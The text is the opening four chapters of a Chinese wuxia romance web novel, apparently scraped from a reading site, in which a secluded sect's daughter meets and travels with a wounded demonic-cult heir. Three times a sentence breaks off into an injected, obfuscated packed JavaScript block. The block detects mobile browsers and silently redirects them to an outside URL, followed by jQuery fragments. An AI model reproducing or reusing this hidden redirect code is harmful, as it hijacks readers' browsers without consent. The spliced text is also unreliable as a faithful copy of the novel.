《驯服偏执阴郁魔教少主后》 1. 第 1 章 北黎雪山从山腰开始,终年积雪不化,连家庄位于山巅,一般不同世间人来往。 “你姐姐去年下山去尤家后,一直没有消息,这回你便下山去看看是什么情况。这是你第一次出远门,万事小心,切不可逞能。” 连舟雪一边朝山下走去,一边回想着出门前,父亲反复叮嘱的话。 连家庄避世,几乎不会离开北黎雪山,平日里也就庇佑着雪山下的几个小村子。 不过北黎雪山本身地处偏远,也鲜少涉及到什么江湖纷争。 若不是涉及到一桩秘事,她姐姐连画楼也不会去那么远的地方。 连舟雪路过山下的村庄时没停留,准备去前面的镇子上走水路乘坐小船南下。 到镇上的时候,正好是晌午时分。 连舟雪随意选了间食肆,要了一份阳春面。 刚走进食肆时,连舟雪就感觉到里面的气氛不同寻常。 不论是坐在门口那四方小桌上的三位刀客,还是坐在靠窗的位置上的两个短襟男人,还是在大堂内的好几拨人,不难看出,一个个都是练家子。 连舟雪目不斜视,脚步不急不换,随意找了一张空桌坐下。 看起来倒像是误入了狼群的小绵羊。 跑堂的小二大约也是知道自家店里来了一群不速之客,端着面过来的时候,那句“客官,您的面”都恨不得用气音。 “多谢。”连舟雪说,然后从筷筒里拿出一双筷子,就低头吃面。 这西北边,什么时候有过这么热闹? 连舟雪脑子里一边想着,一边觉得外面食肆的味道果然是比家里有滋味,就算是平日里她不重口腹之欲,但常年都在一个地方,吃一个厨子,她爹做的饭,也实在是腻味了。 就在连舟雪刚这么想着的时候,门口忽然落下来一阵脚步声。 她耳朵一动,能听出来来人轻功不错。但是鼻翼间闻到的浓郁的血腥味,让连舟雪也确定对方虽然轻功不错,但肯定受了重伤。 连舟雪坐着的方向刚好是对着食肆的大门,她没抬头,余光里已经瞥见一道裹着褐色斗篷的年轻男子进来。 对方很高,头上戴着的斗笠都快要擦过小小的食肆的门框。 后者一进来,就觉察到不对劲,在警惕看了一眼后,发出一声气音似的嗤笑声,也不跑,直接从腰间抽出一把银蛇似的软剑。 “还真是跟狗闻到了包子味儿一样啊,你们这些……朝廷的走狗?”一道有些微微沙哑的年轻极了的男音,在食肆里响起。 他抬头时,目光将整个食肆都扫了一遍。当目光落在还埋头吃面的连舟雪身上时,有不甚明显一顿。 掌柜的和店小二早就已经瑟缩在柜台后面,那店小二人还怪好的,跑进去之前,甚至还机灵地给连舟雪使了个眼色。 大约是看她年轻貌美,又孤零零的一个人,要是被误伤的话,客死异乡太可怜了。 几乎是在这瞬间,在连舟雪周围的那些假装成食客的江湖人都动了,目标只有一个。 “公子既然来了,何必着急走?”说这话的人是刚才坐在门口的刀客,对方在说这话的时候,手中刀势迸发,连同着身边三人一起朝门口的那人砍去。 一招一式都毫不留情,奔着人性命而去。 “是啊,着急走了,你们这群狗回去不就没了一口剩饭吗?估计又要被你家主子踹出去做条看门狗吧?说不定还要让他身边别的几条狗给你们脸上滋两泡尿?”年轻男人讥讽道,同时,他身形如同鬼魅一般,折腰,一手运气,顶住头顶的三把大刀的同时,另一只手握住的银蛇软剑,在半空中划过一道优美而残忍的弧度,似乎没怎么用力,但软剑剑尖点地时,留下了一串血珠。 三名刀客还没反应过来,咽喉处已经被划开了一道细长的伤口。 等年轻男人从刀阵下闪身而出后,三名刀客这才倒地,三人脖子上的那道细长的伤口,最后才喷发一般,喷射出滚烫的鲜血。 窗边和大堂内的人都动了。 连舟雪皱了皱眉头,她不准备多管闲事,抱着自己那碗还剩了一大半的阳春面,脚面一转,身下的长凳似乎跟她融为一体,在杂乱的人群中稳稳当当地后退到柜台处。 手中的面汤没洒一滴出来。 从刚才就一直担心连舟雪的店小二,此刻正目瞪口呆地看着她。 那眼神,就差没把眼珠子给瞪出来了。 连舟雪很快就将目光重新调转到大堂内,那边已经开始混战,可怜了店老板,这桌椅板凳都变得残缺不全。 连舟雪的注意力被人群中央的拿到黑色身影吸引,大抵是觉得身上的斗篷有些碍眼,那年轻男子,不对,或者说应该是少年人干脆直接扔了那破布似的斗篷,露出了被劲装包裹住的身形。 不过,那劲装看起来也有些破烂。 在他腰腹间和后背上,还有大腿上,都有不同程度的伤口。 鲜血汩汩流出,就这么片刻时间,在他脚下,就汇聚成了一汪小小的血潭。 连舟雪关注着对方,虽然被人围攻,但显然他脚下的步子还不算凌乱,身影如同游龙,在刀剑之间穿梭,手中的那柄软剑,凹槽处浸透鲜血。 剑法鬼魅,阴柔中又带着一股悍然,看似轻飘飘,但每一次出剑,必饮血而归。 不过即便如此,连舟雪也依旧不看好对方。 伤势过重,就算是这人武功底子不错,身手也不错,但被围攻,就算是不被人杀死,估计也很快要流血而亡。 当有一人被踹飞,正好砸向连舟雪这头时,身后的掌柜和店小二一声尖叫,她反手抽出身后的那柄剑伞,伞骨在对方腰间一托,卸了力道,动作很是随意一般,将人扔在了一旁。 也不知道是不是她这个动作,引得在人群中厮杀的少年特意回头看了她一眼。 就是这么一眼,对方肩头被一柄连环刀劈中。 血花四溅。 少年发出一声低吼,剑势陡然一变。银蛇般的软剑化作一道白光,在人群中穿梭。 不知道是不是连舟雪的错觉,她觉得自己现在被“误伤”的几率在飙升。 一碗阳春面都还没有吃完,接二连三被人打断。 一来二去,她虽然不伤人性命,但也不像是跟这些人统一战线。 这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107308|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人可不怎么讲道义,见她身怀武功,却不曾对被围攻的少年下死手,倒是对他们出手,顿时看向她的目光都变了。 “哪里来的臭丫头?竟然敢坏你爷爷的好事?!” 连舟雪闻言,面色一变。 剑伞一扫,连舟雪正好将柜台上的一壶滚烫的茶壶击飞,当头就砸向了刚才敢自称她爷爷的江湖客。 滚烫的茶水兜头灌了那人一脸,烫得对方咆哮。 连舟雪:“就这点本事,不如去当人孙子。”话音一落,她周围那几个虎视眈眈的江湖客,应声倒地。 与此同时,在食肆厅堂中央,黑衣劲装的少年人每一剑都带着凌厉的剑气,所过之处,周身之人纷纷倒地。 全灭。 最后一人倒下时,连舟雪的视线跟对方相接,对视一眼。 连舟雪刚想质问他刚才究竟是什么意思,若是后面她还看不出来是有人故意“祸水东引”的话,那可真是白活了。 但连舟雪的话还不曾出口,下一刻,堂内仅剩下的那根独苗苗忽然一转身,原本一直被他握在手中的那柄银色的软剑,飞刺而来。 银光刺眼,连舟雪握着剑伞的手手腕一抖,那伞便在她手中飞速旋转起来,伞骨划出残影,跟软剑相交时,发出“铮”的一声脆响,随后那柄软剑被击飞,连舟雪也从位置上站了起来。 对方抽了筋骨一般,脱力坐在了地上。 不过即便如此,他那模样看起来仍旧带着不减的尖锐和讥讽,“又是来杀我的?我倒是不知道自己这条命这么值钱……” 他这话刚说了一半,就愣住了。 连舟雪刚才为了抵挡他最后一搏,不得不从凳子上站起来。 在击落了那柄软剑后,她从腰间掏出来几两碎银,放在柜台上,随后就朝着门口走去。 连舟雪还是没忍住,走到门口的时候,回头瞪了眼黑衣少年,她就没见过这么无理的人。先是把自己牵扯进了一场莫名的追杀,最后居然还想要她的命。 “你谁啊?” 问完这话,她也不是真要听个回答,随后就转过头,只对着堂内露出后脑勺。 并不盛气凌人,但总归是能让人看出来她的不高兴。 应休惊愣了愣。 不是来杀他的吗? 应休惊脑子里刚略过这个想法,心头最后那口气刚要吐出来,还没来得及生出罕见的歉意,他耳朵忽然一动。 有人来了。 而且来的人,还是熟人。 连舟雪本来都已经走到门口,结果刚一脚迈过门槛,耳边倏然传来暗器破空而来的声音。 抬手持剑伞挡住,暗器落了一地。 “小杂种还有了帮手?”由远及近的一道让人感到厌恶的声音传来,连舟雪蹙眉,可能是因为对方的误会,也可能是单纯因为听见耳边的粗鄙言词。 她“啧”了声,随后余光朝着大堂内的少年人看了眼,眉头忽然动了动。 后者手中有一角翠绿的符纸,不知道是不是她看眼花。 连舟雪叹了一口气。 临行前,她爹可是千叮咛万嘱咐,让她不要多管闲事。 2. 第 2 章 片刻后,连舟雪站在这小小的食肆门口,抖了抖剑伞上的鲜血。 “喂。”她站在门口,转过身面对大堂内,姿态看起来并不算是懒散,“还活着吗?” 连舟雪没等到里面的人的回应,她不由嘀咕道:“不会死了吧?” 在说这话的同时,连舟雪人已经大步重新折返回大堂内。 掌柜的和店小二在柜台后面双双冒头,只敢露出一双瞪大的眼睛。 连舟雪走到应休惊跟前,低头凑近了一点看着跟前的人,最先注意到的,便是此刻被对方捏在手里的那张“破”符。 “符师?”连舟雪讶然道,随后又抿了一下唇。 不论是关内还是关外,符师都很稀少。或者说,这世上,能走上咒师、驭兽、符师和魂师这四条路的人就很少。 这完全是依靠血脉而存在的天赋技能。 寻常人可以凭借勤奋努力走上剑道,或者暗器,或者别的兵器巅峰,甚至成为一代宗师,拥有强悍的内力,唯独技能这东西,就如此不公。 而“破”符,连舟雪知道这东西,是类似于自爆,以求跟敌人同归于尽的一种手段。 一旦生效,可能周围寸草不生,自然一个活口也不可能留下。自爆的人,连一具全尸都不会留下。 但眼下,连舟雪看着那张翠绿的符纸,眼神很复杂。 符师不多,但大多数的符师用的都是最普通的黄色符纸。在连舟雪认识的人里,就只有一人会用这种看起来极为“邪门歪道”的绿色符纸。 只有连画楼。 因为连舟雪年幼喜欢翠色,她并没有符师的天赋,但看见连画楼有,非得让后者用自己喜欢的颜色。 连画楼拿她没办法,一用就是这么多年。 “挺狠。”连舟雪心里有气,她一边说着这话,一边将对方手中的符纸取走。 在取走的时候,连舟雪明显感觉到后者不想松开。 两人较劲,但现在很明显是连舟雪占了上风。 应休惊虽已经陷入了半昏迷的状态,但他一直都没能觉察到有危险靠近。当感觉到有人想要拿走他手中的符纸时,他下意识地努力想要睁开眼睛,看清楚来人是谁。 接近他的人,穿着一身翠绿的袄裙,一头乌发用着同样翠绿的丝带绑住,自然地垂在脑后,是刚才被他认为是来杀自己的那名女子。 可现在这算什么? 应休惊感觉到有人将自己从地上扶起来,他想推开那双手,说不需要这些人假惺惺的好心。见惯了这些所谓的正道的虚伪,也见惯了别有目的接近他的人,他不稀罕! 只不过应休惊还没来得及做出来什么反应,眼前已经从一片模糊变成了一片黑暗,他头一歪,什么都不知道了。 “客,客官,他,他……”眼下被连舟雪叫过来帮忙将应休惊扶起来的小二战战兢兢,看起来都快哭了,“他是不是死了?” 连舟雪找了一条在混战中坚强地全须全尾保全了自己的长凳,刚坐下来就听见耳畔传来的这话,微微掀了掀眼皮,“命硬,死不了。” 说完这话后,连舟雪还是觉得自己心头有股无名的怒火。 “被这么多人追杀都死不了,还知道借刀杀人,命硬得怕是比那石棺都硬,阎王见了都绕道走,能收他?”连舟雪咬了咬牙,那只握着剑伞的手不由自主收紧,手背上青筋微凸。 随后连舟雪又自顾自给自己倒了一碗茶,一碗凉茶也很难片刻间浇灭她心头的火气。 可管都管了,她总不能就把这昏迷不醒的人就丢在这儿? 不然,这损坏的桌椅板凳,外面人都死了个精光,她还能找谁要钱?不得找眼下这个昏迷不醒的冤大头吗? 应休惊醒来的时候,几乎在睁开眼的第一瞬间,就警惕地从床上坐了起来。 他视线里看见的第一个人,坐在不远处的圆桌旁。 应休惊没说话,只是看着那抹翠色的身影。 他发现对方手中拿着一把银色的软剑,应休惊下意识地摸了摸自己的腰间。 果然,是他的。 连舟雪在应休惊醒来的第一时间就已经知道,她没抬头,也能感觉到此刻落在自己身上那道不善又戒备的目光。 她转头,“醒了,你的剑。” 在说这话时,连舟雪倏然一下,就将手中的软剑朝床上的人扔了去。 这一动作,来得突兀,毫无预兆,也让应休惊眼里闪过一丝惊色和戾气。 身体本能的反应更快一点,他飞快抬手接过那柄软剑。不过连舟雪在扔剑时,带了几分力。这点力道,对于平日里的应休惊来说的确不算是什么,但如今他身受重伤,反应和身手都有些跟不上眼力。 拿到了剑,他还是没忍住,发出一声闷哼。 周身好不容易包扎好的伤口,又有了崩开的迹象。 连舟雪:“还你的。” 应休惊反应了片刻,才知道连舟雪这话指的是先前他在跟那帮守在大堂内拼杀后,将她也当做了他们其中之一,二话不说直接出手送了她一剑。 现在,她还给他。 在这瞬间,应休惊眼底的神色已经变了好几变。 这算是什么? 他刚才有那么一瞬间感觉到了连舟雪对自己的杀意,现在这人将软剑还给自己是什么意思?难道想玩欲擒故纵那一套?他如今浑身上下,也就只有一张脸有点价值的。 应休惊想到这里,脸上有一抹狠色一闪而过。 若是如此,他心头冷笑,哪怕是毁了这张脸,他也不可能让眼前这人如愿。 连舟雪不知道应休惊此刻在想什么,正好这时候,外面的门被敲响。 “进来。” 还是刚才在食肆里的那跑堂的店小二,他先探了个头进来,刚想开口说什么,结果冷不丁看见原本躺在床上昏迷不醒的人这时候正坐起来,顿时吓得后退了两步。 店小二看向应休惊时,眼里带着几分惊惧。 “这,这位客官,醒了啊,那可真是,真是太好了。”店小二干巴巴地说完这话,然后刚才从后厨端来的汤药送去应休惊跟前。 只不过还没走到应休惊跟前,店小二那双紧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107309|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 握着托盘的手忍不住地颤抖,以至于在托盘上的瓷碗盖发出了一阵低低的刺耳声。 这声音本来不算大,但现在房间里很是安静,一丁点的声音都能放大数倍。 店小二更慌了。 所幸这时候连舟雪出声,“药是治你内伤。” 应休惊没有直接接过那碗药,眼神越过店小二射向连舟雪,有些搞不清楚她究竟要做什么。 连舟雪在注意到他的视线时,歪头看向他,眼底也不知道是嘲讽还是挑衅,“你怕我下毒?” 她后面的话虽然没说出来,但是眼神已经表现得很清楚。 就现在他那样的,需要她用下毒这种下三滥的手段对付吗? 也不知道是不是被连舟雪的目光刺激,应休惊面色一沉,在店小二哭出来之前,一把端过药碗,仰头一饮而尽。 几乎是在喝完药的这瞬间,他就感觉到了从自己丹田内有一股热气蔓延。 不是毒药,甚至还是很不错的补药? 为什么? 他忍不住皱眉,这些道貌岸然的什么正道之士,不是恨不得杀他而后快吗? “不杀我,你想做什么?”终于,应休惊第一次主动问连舟雪。 连舟雪:“我说了我不认识你,我杀你做什么?” “那为什么救我?” 连舟雪蹙眉,救个路边垂死的小狼崽这需要什么特别的理由吗? 但在对上应休惊那双格外探究的双眸时,她抿唇,“你手里的‘破’符是从哪里来的?” 应休惊有些意外,但随后松了一口气,“买的。” “在何处买的?售卖的人是何种模样?”连舟雪从位置上站了起来。 应休惊盯着她,不答反问,“对你很重要?” 连舟雪走近,“很重要。”她一字一顿道。 先前眼前这人利用她料理那些杀手,她只是有点生气,而这一刻,她看起来比之前认真了十倍。 应休惊的指腹在软剑剑柄上摩挲,他微垂下眼睑,叫人看不清楚底色。 “那有些糟了。”他声音里带着一股讥讽的幸灾乐祸,“这不是我买的,是我从死人身上翻来的。追杀我的人,可不只有下面那些狗杂碎。可惜了,好像你要找的人,死了。” 最后一个字音落下时,应休惊已经准备拔剑。 可令他意外的是,面前的人没有动。 他诧异抬头。 只见刚才还一脸紧张神色的少女,现在后退了一步,皱眉深思着什么。 “怎么?你不信我杀了他?”应休惊讥诮问。 他就像是一只炸毛的狼崽,任何靠近他的人,都会被他撕咬下一块血肉。 连舟雪挑眉,“不信。” 应休惊:“……” “你不是她的对手。”连舟雪对连画楼的本事很清楚。 她更清楚她家姐不可能掺和进这些江湖恩怨中,更不可能去追杀一个年纪跟她差不多的少年人。 应休惊一时间被噎住,都不知道自己是应该愤怒,还是被气笑。 3. 第 3 章 从刚才开始就一直没有吭声,极力将自己包装成一个隐形人的店小二,在两人安静的对峙中,有些快要坚持不住。 终于连舟雪意识到房间里还有这号人的存在,转头看了对方一眼。 店小二顿时像是抓住了救命稻草一般,飞快凑到连舟雪跟前道:“姑娘让小的去租的船,小的已经办妥了。” 如若不是为了这事儿,他早在之前就已经先夹着尾巴跑开了。 连舟雪点点头,然后又拿出了碎银,递给对方,语气变得温和了不少,“多谢。” 店小二还想拒绝,但一对上连舟雪的眼神,不由咽回了嗓子里的话。他觉得这位姑娘看起来是挺柔和的,但并不喜欢别人反驳她。 随后连舟雪抬头看向应休惊,“你有银子吗?” 应休惊:“?” 连舟雪微抬下颔,那样子看起来并没有因为占据优势而盛气凌人,平铺直叙道:“你打架,砸了桌椅,赔钱。” 床上的人还没什么反应,在一旁站着的店小二听见这话,忙不迭摆手,推辞道:“不,不用了……” 就算是他们家掌柜的,也不敢跟这些江湖人要银子啊。 连舟雪脸上露出了些意外,她不明白。 就算是平日里她被连父指派下山采买,有时遇见村民求助顺手而为,但她也鲜少跟人打交道,不明白此刻店小二为何拒绝那罪魁祸首赔偿。 “叮当——” 连舟雪还没有想明白,一袋银子倒是先飞了过来,稳准地落在店小二的怀里。 “拿去。”坐在床上的少年人嘶哑着声音说。 店小二浑身抖如糠筛。 “不杀你。” 连舟雪这才明白过来。 这年头,世道混乱,边关大将军起兵造反,先帝正统那一支早就仓皇南下。今日管着他们的官府可能是官府,明日就成了逆贼。朝堂震荡,百姓的生活只会更苦。 哪怕现在被这些江湖人打砸了店铺,掌柜的也只求息事宁人,哪里还敢跟这些江湖客要银子?到时候就算是被人割了脖子,都求助无门。他们这西北的地界,官府门口的灰,怕是都已经堆了厚厚一层。 “存者无消息,死者为尘泥。” 乱世中的人命是最不值钱的。 连舟雪从腰间拿出一块吊坠,也扔给了店小二。 “先头那些江湖人我也不知道是什么来历,但你们若是害怕,就拿着这吊坠去北黎雪山找连家,连家会派人过来,保护你们一阵子。”连舟雪说。 她没注意到自己在说出“北黎雪山连家”的时候,坐在床上的人眼神微微一变。 店小二赶紧作揖表示感激,“姑娘原来是连家的人吗?” 镇子离北黎雪山有些距离,连家手也不会伸那么长,镇上的人不认识连舟雪也很正常。但是连家庄的名声,别说一个镇子,恐怕整个江湖都有所耳闻。 不过连家庄的人不轻易离开北黎雪山,不入世,大多也只是传闻。 等到店小二离开后,房间里只剩下连舟雪跟应休惊两人。 “那符纸是从纯阳派的人身上搜罗的,原本还有几张,不过已经被我用了,只剩下最后这一张,在你手里。” 床上的少年忽然开口道。 连舟雪知道纯阳派只招收男弟子,可是她长姐的符纸怎么可能在纯阳派的人手中? “我知道了。”连舟雪没问这人前一刻还在跟自己作对,企图激怒自己,为什么现在又坦白。“多谢。”重点是她知道连画楼暂时无事,没有消息便是最好的消息。 连舟雪拿起桌上刚才店小二给自己的租船凭证,“这里是刚才那家食肆的后院,你安心养伤。”她说完这话后,就准备离开。 不过连舟雪刚离开食肆后院,还没走出来,就感觉到身后有人跟着自己。 没回头,她也知道来人是谁。 “你跟着我做什么?”连舟雪回头,拧着眉不赞同地看着从床上下来的人。 “我不欠人。”在她身后的一身血污都还没有清洗的少年。乌发如瀑,衬托得他那张失血过多的脸格外苍白,眉如远山,却笼着一层淡淡的阴翳,眼尾微微上挑,眸色深如寒潭。 但哪怕如此,那张脸也是冷然得令人觉得惊艳,桀骜而孤寂,整个人都透着一股颓丧却惊心的美感。 所以他现在跟出来。 “一命,还一命。”应休惊说。 连舟雪听见这话,实在是觉得这人奇怪。 先前那么拼命要活下来,现在却又这般不爱惜。 “不需要。”她干脆拒绝。 连舟雪一跃上船,没想到跟在她身后的人像是听不懂她的话那般,二话不说,也跟着跳上了船尾。 连舟雪:“……?” 她毫不怀疑自己现在若是将人赶下去,等会儿这人就会重新跟上来。 连舟雪在船头打坐,想着可能等对方跟得烦了,自然会离开。 应休惊不像是喜欢跟人搭话的,哪怕现在连舟雪明显是不待见他的样子,他也没觉得有什么不自在。 这下,两人一人在船头,一人在船尾,不是在打坐修炼,就是在运功疗伤,倒也格外安静。 一个小周天结束后,连舟雪这才睁开眼睛。 刚才太安静,安静到她就只能听见周围的风卷树林和鸟鸣的声音,几乎都快要忘了船上还有一人。 船尾的人这时候像是一尊雕塑,闭着眼盘腿坐着,任由河面的风将他本来就有些凌乱的发丝吹得四处飞舞。不过可能因为闭着眼,让后者身上的那骨桀骜难驯褪去了几分。 大约是感觉到有人注视,应休惊的眉头一皱,随后就睁开了眼。 狭长的凤眸一睁开,便迸射出冷冽而警惕的光。 连舟雪没来得及收回视线,或者她本来也没有打算偷偷摸摸,就这么光明正大地跟船尾的人的目光对上了。 害怕凶兽,是不可能成为一名优秀的驭兽师。 最后先挪开视线的人是应休惊。 他在主动错开跟连舟雪相交的视线后,忽然“扑通”一声,就从船尾掉进了河里。 水花四溅。 连舟雪几乎在这瞬间就从船头站了起来,皱着眉盯着河面,像是没反应过来眼下这是什么情况。 就在连舟雪在思索是不是应该下去看看的时候,忽然,这一刻从河面下方,“飞”上来一条接一条的银鱼,“噼里啪啦”吵闹一番,全地落在了甲板上。 那鱼很是新鲜,被迫上岸后,还在甲板上跃起,妄想重回河中。 不过抓鱼的人没给它们机会。 连舟雪很快又听见“哗啦”一声响,先前跳进河中的年轻男子这时候已经从水中跃出,跳上船。 那些还在挣扎的河鱼,被他拿着木杵,邦邦两棒,敲晕了。 随后连舟雪就看见那黑衣少年动作熟练地去鳞,去腮,随后从腰间拔出一把匕首,刀刃顺着鱼脊缓缓推进,只见鱼肉和鱼骨逐渐分开,刀刃一番,便露出新鲜粉白的鱼肉。 随后那只持匕首的手手腕一转,鱼肉被切片,均匀地摆放在小桌上, 每一片薄如蝉翼,几乎能透过光。 连舟雪租的这艘船不算豪华,麻雀虽小五脏俱全,炊具也是现成的。 不多时,应休惊就已经在船上做好了一锅新鲜的鱼汤。 先前的鱼骨没有被扔掉,而是放进土砂锅中熬制浓汤。现在那汤汁看起来奶白浓郁,风吹来,鲜香鱼汤味四溢。 连舟雪这十六年来,就没能点亮烹饪天赋。 何况北黎雪山上也没有河流,更别说像是现在的应休惊这般就地取材做饭。 “吃饭。”就在连舟雪考虑要不要过去蹭饭时,在桌子跟前的人已经主动开口。 虽然语气听起来并不怎么热络。 连舟雪自是不会客气,她今日就只吃了一碗阳春面,现在天色渐暗,身上就只有些硬邦邦的干粮,哪里有眼前这热腾腾的鲜鱼汤来得鲜美? 坐在应休惊对面,连舟雪端起碗来尝了一口,就顿了顿。 “你以前是做什么的?”要不是寻常厨子不可能被那么多人追杀,她还挺怀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15107310|163940||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 疑对面这人就是掌勺大厨。 应休惊没回她这话,反而问:“连我做什么都不知道你还敢吃?” “没你胆小。”这话显然是在讽刺先前应休惊在食肆后院不肯喝药的事。 连舟雪可不管自己这话会不会引得对面的人黑脸,她挑起一片几乎快要透明的鱼片放进锅里,在奶白色的汤汁中滚了两下,就直接挑起放进嘴里。不得不说,新鲜的河鱼几乎没有一点腥味,鲜美的肉质在沸水里滚两下,肉质极有弹性,异常可口。 连舟雪吃了好几口这才停下来。 “说说,你是谁?追杀你的又是什么人?”连舟雪问。 应休惊在对面,抬头,“我还以为你不在意。” “之前的确不在意,但你现在跟在我身后,我总不能连你是谁都不知道。”连舟雪放下筷子开口道。 “应休惊。”应休惊掀了掀自己的眼皮,像是随意,又像是漠然地盯着连舟雪脸上的反应。 好似不在意,但分明又很在意。 江湖人大多数人听见他的名字后,都不问缘由,便直接拔剑相向。 自诩正道的那些道貌岸然之辈,口口声称“剿灭魔教为民除害”,又怎么可能放过他这个魔教少主? 连舟雪在听见耳边落下来的这三个字的时候,眼里的确划过一抹异色。 天下四大天赋技能,除了咒师,符师和驭兽师外,还有一类,被绝大多数人视为是“邪魔外道”的魂师。 魂师能操控亡灵,甚至组建起来一支“黄泉军队”,做的都是些丧尽天良之事,为人不齿。 天下魂师,几乎都出自于魔教。而应休惊,便是魔教少主。 如今的魔教,似乎已经归顺于那位造反的施大将军。以陆家为首的武林正道世家,怒斥魔教之人狼子野心,自发开始剿灭魔教中人。 这般看起来,先前在镇子上遇见的那些江湖客,追杀眼前的人也是有充分的由头。 不过,连舟雪的手始终放在桌上,没要去拿身后剑伞的意思。 “原来是你啊。”连舟雪说。 既然如此,就算应休惊不说追杀自己的人是谁,她也能猜个八九不离十。 “你不杀我?”应休惊抿唇,开口问。 连舟雪挑眉反问,“你自爆身份就是想让我杀你?” 应休惊那张薄唇抿得更紧了一点,眉宇间有恼怒一闪而过。 刚才难道不是她先问的自己吗?! “放心,刚才你也在食肆里听见了,我们连家的人,不管外面的事。”连舟雪说,“至于你是魔教还是什么,跟我也无关。” 连舟雪也是在下山之前,被连父灌输了一耳朵。 连家从古至今都偏安一隅,江湖上的纷争,他们从不参与。 如今天下大乱,若不是因为她父亲接到外面传来的一封接着一封的书信,大抵是不耐烦,也不会让连画楼去送出令牌,结果连画楼失去消息,要她下山寻人。 魔教若是只因为身怀“魂师”的血脉传承,就要被认定为邪魔外道的话,连舟雪觉得围攻一个未及弱冠的少年人的那一群武林人,更有邪魔的潜质。 连舟雪又给自己盛了一碗汤,她沉迷于鲜美的鱼汤,哪里注意到坐在对面的应休惊,却因为她的话而握紧了拳头。 那些跟他无冤无仇的人,也恨不得除他而后快。不是为了所谓的道义,而是为了扬名立万。 他见惯了太多前者这样的人,头回遇见连舟雪这样的,哪怕面上装得再平静,心头却也跟这河面下一样,暗流涌动。 “何人在那儿?” 就在应休惊发愣,连舟雪觉得汤足饭饱时,忽然从河面的另一头,传来一道男音。 连舟雪从位置上站起来,太阳都快要跌落山头,她虚着眼睛,还没看清楚那船上的人是谁,就听见耳边落下应休惊的声音。 “是纯阳派的人。”应休惊说,“船帆上有纯阳派的标识。” 连舟雪反应过来,哦,就是眼前这位杀了不少人家弟子的那个纯阳派?手里有她长姐的符纸的纯阳派? 4. 第 4 章 对方的那艘船,显然比连舟雪在镇上租的这艘小船看起来威风太多。 那道声音传来后,连舟雪和应休惊都没吭声。 连舟雪看着身边比自己高出一个头的人,“你不躲一躲?” 应休惊:“见过狗躲人的,哪里有人躲狗?” 连舟雪有些一言难尽看着他,或许是因为刚才在河里游了一圈,应休惊脸上的血迹和污渍没有了,再加上那碗热腾腾的鱼汤,让应休惊的那张薄唇此刻看起来多了些血色,衬着那张脸,越发给人一种“红唇白齿”的妖冶感。 光是这皮相,连舟雪想,估计江湖上认识这位魔教少主的人不会太少。 两人现在也算是在一条船,那等会儿自己真动起手来,自己要不要帮忙? 不过今日,连舟雪觉得应休惊的运气不错。 分明长了那么一张招摇的脸,但当挂着纯阳派的标志旗帜的那艘大船靠近时,站在甲板上的人看到她跟应休惊,竟然没人将他认出来。 连舟雪挑了挑眉,看来她之前的纠结是多余的。 应休惊见状,一声不吭转身去收拾身后的狼藉,今天抓的鱼,还有剩余,他准备腌制起来,明天早上做个酱鱼羮。 胡文这一次是半路接到任务,来西北追查魔教少主应休惊。 起因是因为掌门的亲传弟子,也是他的师弟楚旺意被魔头应休惊杀害,他作为楚旺意的师兄,自然要前来为自家师弟报仇。 只不过从前胡文跟楚旺意就不太对付,同为师父的亲传弟子,但楚旺意就是受宠些,就连去见陆家的人的时候,他师父也不是带着自己,而是带着师弟去露脸。 陆家如今作为武林中最受人推崇的第一大世家,他们这样的小门派能跟着师长前去露脸,自然是无上荣耀。 现在楚旺意身死,胡文领师命,就算是不情愿,也得做做样子。 这位魔教少主的名头,也就近几年才传出来,他也没见过。 胡文买了一张应休惊的画像,虽说他对替楚旺意报仇这种事没什么兴趣,但是杀了应休惊,扬名中原武林,他还是很感兴趣。 此刻,胡文舒舒服服地靠在座位上,在他身边还有年轻貌美的小娘子给他按摩喂酒,在一旁的矮几上,随手放着一张应休惊的画像。 在上面,隐约可见一个五大三粗的络腮胡子的男人的形象,似金刚怒目,凶悍得很。 “喂,你们船上的鱼怎么卖?”当纯阳派的船只接近时,在甲板上有人问。 连舟雪闻言,便挑了挑眉。 可能对方是将她们的这条船当做了普通人家的渔船。 毕竟…… 连舟雪朝应休惊看了眼,后者现在可不就正在收拾那些没吃完的鱼?甚至,还很细心地用绳索晾起来,那五六条被腌制的河鱼,就这般大喇喇地挂在船尾,格外像是熟练的老渔民。 应休惊像是没吭声,像是没听见对方的话一般。 连舟雪心里暗道这人狡猾,先一步转身背对着人,留她在原地应付。 “不卖。”连舟雪抱着剑伞开口回道。 “你们打渔不就是换银子吗?赶紧开个价,别啰嗦!”纯阳派的人不满道,只觉得小船上的人简直就是不知好歹,竟然还敢在他们面前拿乔。 